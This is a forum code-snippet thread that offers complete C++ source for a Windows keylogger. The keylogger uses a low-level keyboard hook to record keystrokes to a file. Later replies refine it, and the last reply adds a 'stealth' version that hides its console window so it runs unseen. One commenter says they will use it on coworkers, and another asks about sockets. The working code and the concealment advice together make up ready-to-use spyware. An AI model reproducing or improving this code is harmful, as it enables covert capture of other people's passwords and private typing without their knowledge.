Keylogger using window hooks

William Hemsworth 0 Tallied Votes 9K Views Share

A program that uses hooks to detect keypresses and write them to a file.

#define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
	
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
			default:
				out << char(tolower(p->vkCode));

		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);

	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

	out.close();

	return 0;
}
t3ch|\/|4n 0 Newbie Poster

Thanks!! I going to play pranks on my coworkers now!!! :)

mvmalderen 2,072 Postaholic

Very nice snippet !
I didn't know it was actually such a small code ...

Silvershaft 2 Junior Poster

Hey it worked when I put messagebox after that code, but else it won't work as I modified it abit to work with my command line program heres the start code:

HWND Handle = GetConsoleWindow();
	HINSTANCE hInstance = (HINSTANCE)GetWindowLong( Handle, GWL_HINSTANCE );
HHOOK KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

That code won't work if I don't put messagebox, is there any other way to make it work than messagebox?

Rajesh R Subram 127 Junior Poster in Training

You should not execute any code of yours if the nCode parameter passed to your hook procedure is less than zero (actually it should be equal to HC_ACTION, which is defined as zero in WinUser.h).

Silvershaft 2 Junior Poster

Thanks very much for reply, but how should I do it that way that I don't have to put messagebox that it runs other code while its keylogging?

Rajesh R Subram 127 Junior Poster in Training

@Silvershaft: In which case, you should put your hook code in a DLL and then load it from an executable. Your executable will control the functionality of the hook.

Search MSDN and CodeProject for samples on the said topic. Also, why are you writing a keylogger?

Silvershaft 2 Junior Poster

Is this the right way, just changing the hook in example to my hook?
And I want to try how to make proper keylogger :P Got nothing else nice to code so I decided to try this.

Heres the link http://www.codeproject.com/KB/DLL/hooks.aspx

Rajesh R Subram 127 Junior Poster in Training

@Silvershaft: Yes, that's a perfectly written article, which also contains some neatly written theory on hooks and DLLs in general. That must help you understand how it works too. Also, that's a mouse hook (not a keyboard hook), although the fundamentals are the same.

But if you're trying this for the sake of learning, then any hook should do.

Silvershaft 2 Junior Poster

I also found this article, what about this? http://www.codeproject.com/KB/DLL/keyboardhook.aspx

Devoney 22 Newbie Poster

MSDN says that GetMessage executed by an application executes the keyboard_hook. Replace the messagebox() by the following code:

MSG messages;
while (GetMessage (&messages, NULL, 0, 0))
{
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
}
+_+man 0 Light Poster Banned

Very nice one i liked it

hons_love 0 Newbie Poster

Can you please tell me the compilor used to compile this program?

hons_love 0 Newbie Poster

I used code blocks compilor and it's giving some errors

William Hemsworth 1,339 Posting Virtuoso

I used code blocks compilor and it's giving some errors

I used visual studio, it should work on code blocks but you may have to adjust the settings for it to work.

hons_love 0 Newbie Poster

I replaced the messagebox() with the above code and it is working fine,. but the only problem is that i get a console window and when i close that window then only i get the keys in the output file. is there a way to avoid doing this without the console window getting displayed?

hons_love 0 Newbie Poster

What is the virtual key code for "Alt" key. can anybody help?

William Hemsworth 1,339 Posting Virtuoso

What is the virtual key code for "Alt" key. can anybody help?

VK_MENU

hons_love 0 Newbie Poster

Is there a standard library exist in c++ for sockets? if so can anybody give details about those libraries?

J_4 0 Newbie Poster

thanks for the script. I'm just learning.
it seems to work ok, but how can I make this work without console window showing and without popup window saying " press ok to stop logging " ?

I tried the above altnernate code for message box, but I must be doing something wrong because it does not log anything when I add that and remove the original message box line of code.

how can I make it log to the file every 10 characters instead of message box needing to be closed to create log file ?

how can I make this run without the concole window and popup ?

thanks :-)

Uchenna_1 -2 Newbie Poster

I came up with this if you want it to work without console window showing

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

    // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {
            // Invisible keys
            case VK_CAPITAL:    out << "<CAPLOCK>";     break;
            case VK_SHIFT:      out << "<SHIFT>";       break;
            case VK_LCONTROL:   out << "<LCTRL>";       break;
            case VK_RCONTROL:   out << "<RCTRL>";       break;
            case VK_INSERT:     out << "<INSERT>";      break;
            case VK_END:        out << "<END>";         break;
            case VK_PRINT:      out << "<PRINT>";       break;
            case VK_DELETE:     out << "<DEL>";         break;
            case VK_BACK:       out << "<BK>";          break;
            case VK_LEFT:       out << "<LEFT>";        break;
            case VK_RIGHT:      out << "<RIGHT>";       break;
            case VK_UP:         out << "<UP>";          break;
            case VK_DOWN:       out << "<DOWN>";        break;
            // Visible keys
            default:
                out << char(tolower(p->vkCode));
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
    // Set windows hook
    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);

    MSG messages;
while (GetMessage (&messages, NULL, 0, 0))
{
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
}
}
rproffitt commented: 8 years later. Watch out for old posts. -2
Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.